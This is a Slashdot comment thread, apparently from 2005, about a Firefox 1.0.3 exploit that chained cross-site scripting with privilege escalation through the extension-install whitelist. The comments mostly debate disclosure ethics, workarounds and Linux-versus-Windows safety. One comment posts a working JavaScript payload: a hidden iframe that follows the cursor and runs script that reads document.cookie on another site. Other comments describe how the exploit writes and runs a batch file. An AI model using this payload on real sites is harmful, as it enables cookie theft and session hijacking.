      No its not. In fact, its not easy at all, its a pain in the ass. In unix I type 'exit' to get back. THAT is easy. Clicking three or four times to get back into a usermode that won't allow me to install programs and also won't allow me to RUN many programs is not easy. I, for one, do happen to run Firefox, and everything else, in administrator mode, and its not because I am dumb, its because Microsoft is dumb for not having an effective user permissions system, let alone anything resembling a meaningful security framework for their "enterprise grade" operating system. Maybe Microsoft should take a cue from Apple, bite the bullet, and swallow the fact that technology developed ALMOST FORTY YEARS AGO is vastly superior to their software, and that maybe they should base Longhorn on that "old technology" , rather than wasting billions of dollars and years of R&D on something that apparently will amount to little more than a new color for their error screens.

    31. Re:Nasty by Anonymous Coward · · Score: 0

      The people exploiting these holes don't delete your home directory, they install spam trojans, mr dumbass.

    32. Re:Nasty by Anonymous Coward · · Score: 0

      How then, Mr Even-Dumber-Ass? If you are not logged in as root, how do they do it? Please explain how they get elevated priviledges?

  10. And cue... by Anonymous Coward · · Score: 1, Funny

    ...hilarious fan-boi apologism (wherein mind-crushingly tortured logic spins this awful security flaw into something that is actually a feature yet another reason why Firefox is better than IE!) in 5...4...3...2...1...

    1. Re:And cue... by Anonymous Coward · · Score: 0

      Putting the 5...4...3...2...1 behind the unwarranted and inaccurate Firefox slams by MS paid shills and astroturfers...

  11. This was reported to bugzilla some time ago! by Exter-C · · Score: 5, Informative

    This was reported to the mozilla bugzilla a while ago. https://bugzilla.mozilla.org/show_bug.cgi?id=29269 1

    1. Re:This was reported to bugzilla some time ago! by passthecrackpipe · · Score: 4, Informative

      interesting - even when you go past the "cant view bugs from slashdot" stuff, it seems access to this bugreport has been denied. Yay open source!

      --
      People who think they know everything are a great annoyance to those of us who do.
    2. Re:This was reported to bugzilla some time ago! by Curtman · · Score: 1

      Just grab the fix instead. ;)

      Copy/paste this (linking doesnt work)

    3. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 5, Informative

      It's a severe security-related bug, so the bug report is restricted. This is meant to stop script kiddies from scanning bugzilla for unpatched exploitable bugs. Unless you're a disciple of the full disclosure persuasion, that is the correct way. The Mozilla Foundation discloses all bugs when a patch is available to the general public.

      It's "Open Source", not "Sploitz4Free".

    4. Re:This was reported to bugzilla some time ago! by Hatta · · Score: 2, Interesting

      interesting - even when you go past the "cant view bugs from slashdot" stuff,

      Speaking of which, is there a way to turn off referrer information in firefox? It seems to me to be a big privacy problem, and it adds almost no functionality. I really have no incentive to tell other people what sites i'm browsing, so I'd rather not.

      --
      Give me Classic Slashdot or give me death!
    5. Re:This was reported to bugzilla some time ago! by antic · · Score: 1

      It's a dupe from earlier today. ;)

      Firefox 1.1 Boasts New Features
      http://slashdot.org/article.pl?sid=05/05/07/225425 8&tid=154

      --
      'Thats they exact same thing a banana wrench monkey.'
    6. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      enter this url: about:config
      enter this filter: sendrefer
      change the value to: 0

    7. Re:This was reported to bugzilla some time ago! by cecil_turtle · · Score: 2
      Go to about:config in your address bar and search for this:
      network.http.sendRefererHeader
      and set the value to 0.
      Some unexpected pages might start breaking, so beware.
      Mozilla Network Prefs
    8. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      This was reported to the mozilla bugzilla a while ago.

      Yes, if you think Monday was a while ago.

    9. Re:This was reported to bugzilla some time ago! by petermgreen · · Score: 1

      why doesn't someone just write a program to copy the bugs before they get restricted?

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    10. Re:This was reported to bugzilla some time ago! by drinkypoo · · Score: 1

      The easiest way to do that is with the WebDeveloper extension.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    11. Re:This was reported to bugzilla some time ago! by Denyer · · Score: 1
      is there a way to turn off referrer information in firefox?

      Do that and you'll lose access to the images and downloads on a lot of sites, which check for a referrer from themselves to ensure other places aren't direct-linking and thieving bandwidth.

      What you ideally want (assuming you don't care to tell a webmaster you found the link at Google or a particular site) is for cross-domain referrers to be blocked. Anyone know a way to do that with Firefox?

      --
      Ph-nglui mglw'nafh Gates M'dna wgah'nagl fhtagn.
    12. Re:This was reported to bugzilla some time ago! by sriram_2001 · · Score: 1

      Of course when Microsoft does the same thing, they're called evil. And they're criticized when they let you track all reported vulnerabilities

    13. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      Now the script kiddies know what to look for. All they need is a service or program to monitor the bugs on mozilla... when something becomes restricted, FLAG it so they can find and read their copies of the report from before it became restricted.

    14. Re:This was reported to bugzilla some time ago! by Bulk+Tape+Eraser · · Score: 1

      10,000 sheep commence braying the 'security through obscurity...' mantra.

    15. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      why doesn't someone just write a program to copy the bugs before they get restricted?

      Bugs can be marked as security sensitive when they're filed so you'd never get a chance with some.

    16. Re:This was reported to bugzilla some time ago! by RzUpAnmsCwrds · · Score: 2, Interesting

      "It's a severe security-related bug, so the bug report is restricted."

      And yet, when Microsoft does this, somehow it's "reprehensible".

      Isn't the Open-Source model supposed to be, you know, open? The exploit is already in the wild. Blocking access to the bug doesn't do any good.

    17. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      what happened to those people chiming in saying you can't trust "security through obscurity" crap? oh, it's about open source now....

    18. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      The Mozilla Foundation discloses all bugs when a patch is available to the general public.

      You must be new around here, Microsoft regularly gets strung up for that same stance.

    19. Re:This was reported to bugzilla some time ago! by _Sprocket_ · · Score: 5, Insightful
      And yet, when Microsoft does this, somehow it's "reprehensible".

      And on the flip side - where's all the folks who defend Microsoft's practices? Shouldn't they be also standing up here and saying how responsible the Mozilla Foundation is?

      Really - why try to paint this as an "open source vs. Microsoft" issue? If anything, this is the usual "full disclosure" vs. "reponsible disclosure" vs. "no disclosure" debate. The underlying development model has little to do with it.
    20. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      How does this dope get a +5?

    21. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      The underlying development model has little to do with it.

      There's a perception in the OSS world that the development process is completely transparent, while nobody assumes that about the closed source world. Kinda like the "basement coder" perception, it is just another "Myth vs Reality" issue that Opensource followers have. The reality is that nearly every OSS endevor has secret security lists and databases, and yes they do sometimes sit on secret security holes (for years in the case of Mozilla).

    22. Re:This was reported to bugzilla some time ago! by Hatta · · Score: 1

      Do that and you'll lose access to the images and downloads on a lot of sites, which check for a referrer from themselves to ensure other places aren't direct-linking and thieving bandwidth.

      Good point, maybe the best solution would be to spoof referrers so that I always appear to be coming from the site I'm retrieving.

      --
      Give me Classic Slashdot or give me death!
    23. Re:This was reported to bugzilla some time ago! by TheDormouse · · Score: 2, Insightful

      You can view the source all you want. The bug is right there in the code. Just sift through the thousands of lines and you'll eventually find it.

      Just because Mozilla keeps the specific location of security-related bugs quiet until fixed doesn't mean that the source is any less open.

    24. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      So that you can actually help people direct-linking and thieving bandwidth.

    25. Re:This was reported to bugzilla some time ago! by sploit · · Score: 1

      It's out there, so anything goes, right?

      <html><body>Click anywhere.<script
      language="JavaScript" type="text/javascript">
      url='http://slashdot.org' ;function l(){c++;if
      (c==1)sc.focus();else if(c==2){sc.history.go(
      -1)}}f = '<iframe onload="l()" src="javascri';
      f+= 'pt:\'<noscript>\'+eval(\'if (window.nam';
      f+= 'e!=\\\'sc\\\'){window.name=\\\'sc\\\';}';
      f+= 'else{alert(document.cookie);}\')+\'</no';
      f+= 'script><a href=\\\''+url+'\\\' style=\\';
      f+= '\'cursor:default;\\\'>&nbsp;&nbsp;&nbsp';
      f+= ';</\'+\'a>\'" id="targetframe" scrollin';
      f+= 'g="no" frameborder="0" marginwidth="0" ';
      f+= 'marginheight="0" style="position:absolu';
      f+= 'te;left:0px;height:6px;width:6px;margin';
      f+= ':0px; padding:0px; -moz-opacity:0;"></i';
      f+= 'frame>';document.write(f);
      document.onmousemove= function(e){
      document.getElementById("target"+ "frame").style.left=(e.pageX-3)+ "px";
      document.getElementById("target" +"frame").style.top= (e.pageY-3)+"px"};
      c=0;</script></body></html>

    26. Re:This was reported to bugzilla some time ago! by Cecil · · Score: 1

      Good point, maybe the best solution would be to spoof referrers so that I always appear to be coming from the site I'm retrieving.

      Privoxy can do this, as well as filtering ads and blocking popups and various other cool stuff.

      I can't live without it.

    27. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      Thieving bandwidth? So, what, they're putting files up on your server, then spreading the URLs around so that everyone downloads the files from you server instead of theirs? Man, that is thieving bandwidth.

      Wait a minute. You put the file up on your server? People are downloading it? Well, duh. Don't want them to? Take the file down.

      May I suggest you try a big cup of STFU?

    28. Re:This was reported to bugzilla some time ago! by Anonymous Coward · · Score: 0

      It also eliminates one of the basic advantages of open source: the ability to patch the bug on your own. If Mozilla is going to embrace security through obsurity, they should go for high security through obscurity and go closed source.

  12. Re:I'm not too worried by Anonymous Coward · · Score: 0

    This post isn't interesting at all! I mean, read it - where's the substance?

  13. Re:I'm not too worried by ssj_195 · · Score: 2, Insightful

    I'm using Linux too, but from what I hear, a significant amount of Windows users are completely and totally failing to trigger the exploit. Have any Windows users managed to get it to actually work, yet?

  14. Explanation by Anonymous Coward · · Score: 2, Insightful

    Firefox had the advantage of being able to fix bugs reveled by IE expolits. This gave the illusion of it being a bulletproof browser. Now that it has caught up with IE, it has exploits of it's own which just show that it's not much better than IE (coding standard-wise).
    As long as programs are written by humans, there'll be flaws. It's a fact of software-development.

    Will I have to download another 4.5MB so that I can fix this flaw?

    1. Re:Explanation by Exter-C · · Score: 1

      I feel that the benefits that drew me ( and im sure others) to firefox was that it was feature rich and had a pop blocker before IE did out of the box.

      The fact that Im also using Linux made me move over from the Mozilla Suite.

    2. Re:Explanation by Anonymous Coward · · Score: 0

      Go back to the wonderful IE then, OK?

    3. Re:Explanation by Anonymous Coward · · Score: 0

      Touched a nerve?

      Just admit that Firefox is not the holy grail of software engineering though.

    4. Re:Explanation by Anonymous Coward · · Score: 0

      As long as programs are written by humans, there'll be flaws.


      Correction: flaws of this kind will exist as long as programs as written by humans in unsafe, unverifiable languages like C.
    5. Re:Explanation by Anonymous Coward · · Score: 0

      IE has security flaw -> Slashbots : "Microsoft sucks! Bill Gates is the devil! Anyone using IE is a stupid luser!"

      Firefox has security flaw -> Slashbots : "People make mistakes, software has bugs, its a fact of life".

      I love the objectivity here on /. ;)

    6. Re:Explanation by Anonymous Coward · · Score: 0

      Yet another AC modded up making the claim "now we see it's no better then IE in security" with no reasoning to back it up and little to warrant on even a moment's reflection on IE's appalling history. Has Slashdot really become such a home for astroturf?

    7. Re:Explanation by Anonymous Coward · · Score: 0

      It's a fact of software-development.

      It is? Why is there software like qmail that has NO security holes?

      I think the fact of software development is that there are many, many incompetent programmers, and the license on the code doesn't have anything to do with it.

    8. Re:Explanation by Anonymous Coward · · Score: 0
      I think the fact of software development is that there are many, many incompetent programmers, and the license on the code doesn't have anything to do with it.
      No, I think the problem is that writing non-trivial, bug-free code is extremely hard. Someone who creates software that is entirely bug-free (counting security holes as bugs, here) is not merely "competent"; he is damn-near superhuman.
  15. Don't worry... by testednegative · · Score: 1

    ... the page is /.'ed... 0day kiddies wont be able to get their hands on the exploit till tomorrow and by then Mozilla dev team has patched it.

    1. Re:Don't worry... by Anonymous Coward · · Score: 0

      It's all over bugtraq so what does it matter if the page is /.'ed?

    2. Re:Don't worry... by alatesystems · · Score: 1

      I'll help. Here's a link to the actual proof of concept in an html file. They seem to have disabled it on the serverside at MozFo, but you can see how it was performed.

  16. Summery? by Anonymous Coward · · Score: 3, Funny

    Exploit summery? Well, the weather is improving but I doubt that the exploit caused it.

  17. Reported and temporarily fixed by alanjstr · · Score: 5, Informative

    Bugzilla bug 293302 has been filed. A temporary fix has been implemented on UMO.

    1. Re:Reported and temporarily fixed by baadger · · Score: 2, Interesting

      Copy and page parent link into new tab or Firefox/Mozilla users set "network.http.sendRefererHeader" in about:config to 0 and then click.

    2. Re:Reported and temporarily fixed by Anonymous Coward · · Score: 0

      A temporary fix has been implemented on UMO.

      I don't understand. Is this actually a bug in update.mozilla.org rather than Firefox?

    3. Re:Reported and temporarily fixed by Anonymous Coward · · Score: 0

      The exploit combines cross-site scripting with privilege escalation. It uses a site which is on the install-extensions whitelist to inject the code. It calls a function which is on UMO which then in turn invokes the chrome functions where the code attains elevated privileges. Neither the chrome nor UMO sanitizes the parameters. The workaround obfuscates the UMO function which the exploit calls.

      The core of the exploit is that it executes code with elevated privileges before the user has a chance of denying extension installation. If you give a site permission to request installation of themes or extensions, that site can directly exploit this vulnerability, or as was the case with UMO, involuntarily help other sites by providing a way around the whitelist restriction.

    4. Re:Reported and temporarily fixed by Anonymous Coward · · Score: 0

      Please make sure that the real problems are fixed ASAP and not just covered by obscure function names. There are some serious problems lurking behind this exploit.

      The cross site scripting (which is temporarily prevented by the UMO modification) is scary enough all by itself. If a site can call javascript on a totally unrelated site, the user is in deep trouble. (Is that what "stealcookies" in the exploit is hinting at?)

      The privilege escalation means that it is now completely unsafe to give any site the right to ask to be allowed to install software, because the permission dialog only pops up AFTER the script is executed with full rights. This part of the exploit does not depend on function names on UMO or cross site scripting. A site which is on the install white list can call arbitrary code on the client system without triggering any dialogs (until it's too late). Local html files are implicitly on the white list, so an attacker only needs to make a victim open an html file with Firefox. That is something which most users consider safe.

      This bug is a desaster waiting to happen!

    5. Re:Reported and temporarily fixed by Anonymous Coward · · Score: 0

      Huh. Just discovered that on Safari, you can select the text of the link and control-click it open, and the referrer will be stripped.

  18. the power of open source... by Anonymous Coward · · Score: 0

    ...at work for you.

  19. Hasn't Slashdot ever heard of editing? by Winkhorst · · Score: 1, Insightful

    "Summery?" Really? --Support your planet or get the hell out--

    --
    "Is this Winkhorst a nova criminal?" "No just a technical sergeant wanted for interrogation."
    1. Re:Hasn't Slashdot ever heard of editing? by Anonymous Coward · · Score: 0

      How about: Support your planet and get the hell out

    2. Re:Hasn't Slashdot ever heard of editing? by Anonymous Coward · · Score: 0

      If I only had mod-points :\

  20. Tried it on my Mac... by Anonymous Coward · · Score: 5, Funny

    didn't work

  21. Here we go with the Firefox Vs IE... by distantbody · · Score: 0, Troll

    Firefox has rightly earnt a strong following, but in the proud tradition of the FANBOY, some firefox nuts will probably have an adverse reaction to the news that firefox has a vulnerability, and subsequently die.

  22. FrSIRT's Post! by spood · · Score: 2, Interesting

    It looks like a hacker alias, but it really stands for French Security Incident Response Team. Exploit description cached here.

    --
    ---- Just another spud server.
    1. Re:FrSIRT's Post! by A.K.A_Magnet · · Score: 1

      Well, unlike CERT in US, FrSIRT is nothing official in France (and I had never heard of it before). It's just a private company. It's more like Secunia, creating an exploit database to get a name. It's all marketing :).

      What's fun is that in France, it is now illegal to reveal an exploit (even to the product's owner) because "it shoudln't have been found/tested in the first place". You know, if you find an exploit, it 'obviously' means you were looking for some... Blah. Stupid laws and government.

      So yeah it looks like a hacker alias, and I guess it is the "repented" hacker thing ("I used winnuke 10 years ago, now let's create a company who protects netizens, yeah").

      IMHO, The name is quite lame for a company that hasn't anything to do with an official mission assigned by the French government (it has nothing especially French, except its nationality and location). This name is misleading.

      Anyway, I guess it was a great marketing coup to steal the bug report of another to get the press AND the Slashdot effect :)

    2. Re:FrSIRT's Post! by spood · · Score: 1

      IMHO, The name is quite lame for a company that hasn't anything to do with an official mission assigned by the French government (it has nothing especially French, except its nationality and location). This name is misleading.

      Hell, even its name isn't especially French. All the adjectives are in the wrong order. Should be something like L'équipe de Réponse d'Incident de Securité Français. ERISF?

      --
      ---- Just another spud server.
    3. Re:FrSIRT's Post! by A.K.A_Magnet · · Score: 1

      Hell, even its name isn't especially French. All the adjectives are in the wrong order. Should be something like L'équipe de Réponse d'Incident de Securité Français. ERISF?

      Well it looks like it was meant to melt "CERT" with "FIRST", but it's obvious a national organization would have had a french name (and maybe an official translation in english, but not as its main name).

      Your translation is OK (except a few grammar mistakes ;)), but too litteral. "Réponse d'Incident de Sécurité" doesn't sound french at all, because "Response" and "Réponse" don't always have the same meaning. (in this very case, the meaning is more "reaction" than "answer")

      They (FrSIRT) translate their name to "Centre de Recherche et de Veille en Sécurité Informatique" which now sounds pedantic ;).

    4. Re:FrSIRT's Post! by Anonymous Coward · · Score: 0
      This company is just nothing.
      From their contact page [in french] http://www.frsirt.com/contact.php they tell they are FrSIRT / A.D.CONSULTING
      And from a good company registry website http://www.societe.com/cgi-bin/recherche?rncs=4785 02123
      you get that :[in french too, sorry]
      AD CONSULTING
      RCS Montpellier B 478 502 123
      Nom commercial : K-OTIK SECURITY
      Renseignements juridiques
      Siège social 1B Boulevard Berthelot
      34000 MONTPELLIER
      SIRET 47850212300019
      Forme juridique Société à responsabilité limitée
      Capital social 10.000,00 EURO
      Code activité 721Z - Conseil en systèmes informatiques
      Immatriculation 08-09-2004
      Nationalité France
      Dirigeant(s) Associé-Gérant M. BEKRAR Chaouki
      Dépôt légal 08-09-2004 Formation de société


      It's the same adress, so FrSIRT, AD consulting and K-otik security is just one company. It seem to have been created in semptember 2004 with 10k euros.
      The guy took 8 month to steal someone's security report and post it to get publicity.

      Good job ! now get ready for the stock options
    5. Re:FrSIRT's Post! by kiltedtaco · · Score: 1

      it has nothing especially French, except its nationality and location

      Does anyone else find this statement a bit odd?

      What other requirements could you want? Are you suggesting that only organizations sanctioned by the government of Frace (Can I say French Government? Can they sanction themselves?) deserve the adjective "French"?

    6. Re:FrSIRT's Post! by A.K.A_Magnet · · Score: 1

      The thing is they present themselve to the world as an official french mandated organization.

      Traditionnally (at least in France), a country name in an organization name makes one think it is official, especially if it's in some kind of initials. And grandparent sort of implied it.
      br (yeah I know it's more frequent in the US with "American" as prefix but still)

  23. I cant get this exploit to work... by Anonymous Coward · · Score: 1, Interesting

    Subj says it all. That html page after loading into firefox gives javascript error on some line according to JS console...
    Does it work really?

    1. Re:I cant get this exploit to work... by kbrosnan · · Score: 1

      There was a server side change that prevents the exploit from working on UMO. Now you need to be careful of the sites you whitelist. Also see the post by alanjstr http://it.slashdot.org/comments.pl?sid=148775&cid= 12467737

      --
      These people look deep within my soul and assign me a number based upon the order I joined. -Homer Simpson
    2. Re:I cant get this exploit to work... by Herr_Nightingale · · Score: 1

      Doesn't work here either. No javascript errors, nothing.. clicking just highlights text. Tested on WinXP.

  24. Stolen exploit by Anonymous Coward · · Score: 5, Informative

    They were already working on patching this, but it was stolen before they could finish and leaked to bugtraq with LIVE material in the exploit (it's not a proof of concept, folks!) and no explanation or advisory.

    Reminder: Bugzilla blocks /. referers. Copy URL and paste in new to view. (Beware Slashcode's extra spaces.)

    https://bugzilla.mozilla.org/show_bug.cgi?id=29269 1 %lt; Original security bug (probably still blocked to outsiders to prevent someone stealing it before mitigation)

    https://bugzilla.mozilla.org/show_bug.cgi?id=29330 2 %lt; Duplicate (reported after leak)

    They are going to release a 1.0.4 shortly, I gather.

    Still more timely than most of Microsoft's advisories... despite their earlier announcement. http://www.eeye.com/html/research/upcoming/index.h tml

    1. Re:Stolen exploit by Anonymous Coward · · Score: 0

      What do you mean by 'leaked to bugtraq'? I thought it was in everyone's best interest to hear about bugs as soon as possible? Or is it only bad when Microsoft does it?

    2. Re:Stolen exploit by man_of_mr_e · · Score: 1

      I can't view the bug. I'm not "authorized", so I can't verify if what you say is correct or not. How long have the Mozilla team known about this vulnerability?

  25. Leaked known bug by Anonymous Coward · · Score: 5, Informative

    A^C^E, a Firefox security researcher, is claiming on Addict3D.org that this is a 0day duplicate of a leaked, known bug. He says, "I suspect that my server was compromised, and I am currently using my contacts to find the culprit and bring him to justice."

    Also, bugzilla.mozilla.org is claiming they've been slashdotted. Go easy on em.

    1. Re:Leaked known bug by petermgreen · · Score: 1

      right so then the REAL question is how long was the known bug restricted for an why wasn't it fixed earlier

      someone really needs to write a tool to make sure that bugs get copied somewhere public before the devs get a chance to restrict them.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    2. Re:Leaked known bug by Lothsahn · · Score: 1

      From the same website:

      If this isn't a troll, this person needs a new brain. Releasing 0day exploits doesn't do anything for security. It's not like Mozilla has been sitting on this problem for 6 months. They've been working on a fix. Releasing a 0day just gives the devels hell.

      My favorite quote: "What higher purpose is there above full disclosure with a proof of concept? Disclosure spreads awareness, and awareness allows defense. This is so horribly taken out of context, it's not even funny. Disclosure allows defense, but not in circumstances like this. Is every end user supposed to go out, download the source, and patch their browser right now? Rediculous.

      tuytumadre@att.net wrote:
      > So apparently, the secret is out. I wish that this could have been used
      > for good purposes but I guess that just isn't possible these days...


      What 'good purposes' did you have in mind?


      What higher purpose is there above full disclosure with a proof of concept? Disclosure spreads awareness, and awareness allows defense.


      The secret is no longer a secret, and it didn't remain one as long as you had hoped it would. This reduces the chances that the secret will be exploited against people who aren't aware that there is a secret. Nothing at all would have been gained by delaying disclosure, other than to give attackers a bigger window of opportunity to mount successful attacks and design new exploits that will launch successfully against a completely unprepared computing public.


      Your belief that you could keep a secret, or that you have any right to keep such a secret even if you could, is moronic and it's wrong-headed.


      Sincerely,


      Jason Coombs jasonc@science.org

      --
      -=Lothsahn=-
    3. Re:Leaked known bug by Anonymous Coward · · Score: 0

      right so then the REAL question is how long was the known bug restricted for an why wasn't it fixed earlier

      Based on the timestamps of the preceeding and following bugs, it was filed on May 2nd, so that's less than a week ago.

      someone really needs to write a tool to make sure that bugs get copied somewhere public before the devs get a chance to restrict them.

      Bugs can be marked as security sensitive when they're filed.

  26. I keep clicking on the exe files... by DaGoodBoy · · Score: 2, Funny

    ...but Firefox keeps suggesting I run it with Wine. I don't get it, I'm not thirsty. I'd rather run it with a nice plate of steak and eggs.

    --
    My God! It's full of Voids!
    1. Re:I keep clicking on the exe files... by gklnx · · Score: 0

      Obviously! Foxes do not drink wine, but they like stake.

  27. Tried the test exploit they supplied... by a+whoabot · · Score: 2, Interesting

    ...with Firefox 1.0.3 on Windows 2000, and it didn't execute anything. Anyone else try it on Windows?

    1. Re:Tried the test exploit they supplied... by kbrosnan · · Score: 2, Insightful

      The exploit has been largely nullified by implementing a server side change.

      The exploit would still work if you whitelist the wrong site.

      --
      These people look deep within my soul and assign me a number based upon the order I joined. -Homer Simpson
    2. Re:Tried the test exploit they supplied... by SEE · · Score: 1

      Yep, tried it here, Firefox 1.0.3 on Windows XP. No effect.

      Checking the Javascript console, it's just causing an "Error: install is not defined".

      Oooh, big scary exploit.

    3. Re:Tried the test exploit they supplied... by markan18 · · Score: 1

      Yes it works on win2k, you have to modify the code a little bit. The javascript console is your friend. I have to figure out how to make it work on linux, the batch file is not created on my filesystem.

    4. Re:Tried the test exploit they supplied... by 50m31sl4sh. · · Score: 0

      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3

      Clicked on the page several times - nothing happens except a couple of javascript errors.
      Perhaps these "security researchers" are trying to get free publicity?

      --
      Rediculous is ridiculous!
    5. Re:Tried the test exploit they supplied... by cameleon · · Score: 1

      Mind telling us how you had to change it?

    6. Re:Tried the test exploit they supplied... by antiMStroll · · Score: 1

      You must be mistaken. A dozen posts proclaiming Firefox's security is no better than IE have already been modded up. Are you sure you RTFM and correctly executed this exploit. ;)

  28. Harmless on Linux by drigz · · Score: 1

    Well, it is harmless on Linux.

    What remains is that most people who I have shown Firefox to don't click the little red bell when it appears, and so won't update to get the fix to this problem. Firefox needs to be more forceful with its updates.

    1. Re:Harmless on Linux by imsabbel · · Score: 2, Insightful

      Hm.
      I am no linux expert, but wouldnt it be perfectly possible to make a linux version, that lets say downloads and executes a shell script that kills you user directory?

      --
      HI O WISE PRINCE. WHT TOOK U SO DAM LONG?
    2. Re:Harmless on Linux by Anonymous Coward · · Score: 0

      That's not that bad compared to the damage done on winblows.

    3. Re:Harmless on Linux by Anonymous Coward · · Score: 0

      What. The. Fuck.

      Reinstalling Linux (or Windows) takes maybe 30 minutes, then another couple of hours installing your software. The files in my User directory represent hundreds or even thousands of hours of work - let alone the security implications if someone else got hold of them. I'm sick and tired of people pretending that remote exploits that "only" have access to your user directory aren't worth bothering about.

    4. Re:Harmless on Linux by Anonymous Coward · · Score: 0

      Well, it is harmless on Linux.

      This particular exploit code is useless on Linux. But the vulnerability still exists.

    5. Re:Harmless on Linux by Ficlogic · · Score: 1

      Do you not keep backups? Personally I'd prefer an exploit that trashed my homedir to one that rooted my machine, but hey, maybe I'm just weird.

      It's not that exploits which only have access to your user directory aren't worth bothering about, just that exploits which only have access to your user directory are restricted in the damage they can do. Unlike on Windows, where most people web browse from Admin accounts and entire installations can be screwed from user accounts anyway.
    6. Re:Harmless on Linux by Anonymous Coward · · Score: 0

      yeah, and replacing that "entire installation" takes all of 30 mins, so unless you backup every 30 mins taking out your home directory costs more - and on top of that I *hate* having to do work I already did, far far more than sticking a disc in and twiddling my thumbs for 30 mins.

      Runing as user buys you no significant security - it's not like they can't install an open relay with a user account.

    7. Re:Harmless on Linux by Anonymous Coward · · Score: 0

      Then BACK YOUR SHIT UP REGULARLY, and it won't take anywhere near 30 minutes to restore your work.

      Hell, everyone's lost data, and soon, you will too, whether it be through this exploit or just your own stupidity. I lost 120GB of data when my external hard drive fell off a damn desk, without backups, and I didn't go blaming it on the hard drive being dropped, I blamed it on my own damn self for NOT HAVING FUCKING BACKUPS.

      If you don't have backups, and your homedir gets hosed, it's your fault. Because you should have backed your homedir up. If your whole system gets hosed, and you do have backups, then it's a simple matter of reinstalling and restoring your backed-up data, but it's still a much longer process than cp /mnt/cdrom/homedir ~.

      If your work is that important to you, then you should use a CD-RW and backup every 30 minutes to an hour, yes. You're forgetting that if your system gets completely hosed, you've also lost your work, in addition to having to reinstall the OS, so not only do you have to do all your work again, you've got to wait 30 minutes to do it because your OS installation got fucked as well.

      I'm finding a hard time agreeing with you. It's just simply safer to run as a non-admin account.

    8. Re:Harmless on Linux by cortana · · Score: 1

      It depends whether the nsIFile class allows you to create a file with execute permissions. If it doesn't, then no--it is not possible, at least by creating an nsIFile, containing a shell script, and calling nsIFile::launch().

    9. Re:Harmless on Linux by Anonymous Coward · · Score: 0

      The majority of Windows users don't own computers that reinstall in 30 minutes, much less an hour. You may be blessed with a fast machine but don't expect others to have the same blessing.

  29. Possible workaround: by wideangle · · Score: 5, Informative

    Uncheck Tools > Options > Web Features > Allow web sites to install software

    1. Re:Possible workaround: by Mad+Merlin · · Score: 1

      That applies only to xpi files, I believe.

    2. Re:Possible workaround: by Anonymous Coward · · Score: 0

      While I've not read the advisory and I no longer subscribe to bugtraq; I can state with absolute confidence that your workaround has nothing to do with this.

      Try disabling javascript! I've not read the advisory but turning off security problem number 1 has to be a good idea anyway.

    3. Re:Possible workaround: by ScytheBlade1 · · Score: 2, Informative

      True, it SHOULD only apply to XPI's, but it also prevents this 0day from happening period.

    4. Re:Possible workaround: by jesser · · Score: 2, Informative

      This exploit has two parts: an XSS hole and a hole that lets xpi-installation-whitelisted sites execute arbitrary code. Your workaround only fixes the second part and leaves you open to an XSS hole, which is sufficient for stealing your saved passwords, cookies, secret pages on your intranet, etc. The real workaround is to disable JavaScript.

      --
      The shareholder is always right.
    5. Re:Possible workaround: by wideangle · · Score: 1

      Thank you for pointing that out.

  30. What? by Koiu+Lpoi · · Score: 1, Funny

    There's... a bug... in firefox?? *gasp* *hack* *cough* I think... I may be having a heart attack... They told me it was so much better! *wheeze*

    1. Re:What? by Koiu+Lpoi · · Score: 1

      *Hint to mods - that was a joke.*

    2. Re:What? by Anonymous Coward · · Score: 0

      *hint to you - not funny.*

  31. Are you sure? by naelurec · · Score: 5, Interesting

    Just curious, I downloaded the page and loaded it up on several systems:

    Win XP, Firefox 1.0.3
    Win 2k, Firefox 1.0.3
    FreeBSD, Firefox 1.0.3

    and none of them did anything. The javascript looks like it should save a file (c:\booom.bat) and run it which should echo "malicious commands here" and wait for a keypress.

    Is this truly an issue with Firefox and not some other software? If so, any ideas why it doesn't work?

    1. Re:Are you sure? by Exter-C · · Score: 1

      last time i checked there was no c:\ on FreeBSD but maybe im wrong ;)

    2. Re:Are you sure? by Anonymous Coward · · Score: 1, Informative

      The script is supposed to inject code into the chrome by calling a (chrome-)function "install(event, extensionname, iconurl)" with a javascript iconurl which then uses its elevated privileges to create and start the batch file.

      On my main system (WinXP, Firefox 1.0.3, fresh profile), the Javascript console tells me it can't find the install function.

      On my other system (WinXP, Firefox 1.0.3, fresh profile), it throws an access violation error about not being allowed to access window.title. I don't see how these installations differ, but apparently, the test-exploit is quite fragile.

    3. Re:Are you sure? by hacker · · Score: 1
      "last time i checked there was no c:\ on FreeBSD but maybe im wrong ;)"

      Sure there is:

      declare -x PS1="C:\\\\\W> "
    4. Re:Are you sure? by SEE · · Score: 4, Informative

      Reading the Secunia explanation:

      Successful exploitation requires that the site is allowed to install software (default sites are "update.mozilla.org" and "addons.mozilla.org").

      So, unless you've whitelisted the exploit site (which generally would mean it's a site you trusted enough to install an XPI from), or the Mozilla website has been compromised, the exploit won't work.

    5. Re:Are you sure? by stesch · · Score: 1
      So, unless you've whitelisted the exploit site (which generally would mean it's a site you trusted enough to install an XPI from), or the Mozilla website has been compromised, the exploit won't work.

      What? Then what's all the fuss about? This isn't an exploit then.

    6. Re:Are you sure? by Maxo-Texas · · Score: 1

      So this is equivalent to allowing windowsupdate to install software on your machine?

      --
      She was like chocolate when she drank... semi-sweet at first and then increasingly bitter.
    7. Re:Are you sure? by BroadwayBlue · · Score: 1

      I agree, not an exploit. It behaves as expected. Now, whether or not you want to blame the user for not checking the program settings is another issue. I would think to be an exploit, it has to be a behavior that is not expected (based on options presented by the program) or an option that doesn't do what it says it does.

    8. Re:Are you sure? by Yi+Ding · · Score: 1

